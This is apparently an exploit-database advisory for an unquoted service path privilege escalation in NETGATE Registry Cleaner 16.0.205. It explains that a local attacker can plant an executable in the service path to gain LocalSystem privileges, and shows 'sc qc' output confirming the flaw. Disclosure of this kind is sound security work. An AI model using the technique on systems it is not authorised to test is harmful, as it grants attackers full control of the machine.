NETGATE Registry Cleaner 16.0.205 - Unquoted Service Path Privilege Escalation

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# Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=4
# Version : build 16.0.205  (Latest)
# Tested on: Windows 7
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NETGATE Registry Cleaner installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
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C:\>sc qc NGRegClnSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGRegClnSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Registry
Cleaner\RegistryCleanerSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Registry Cleaner Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem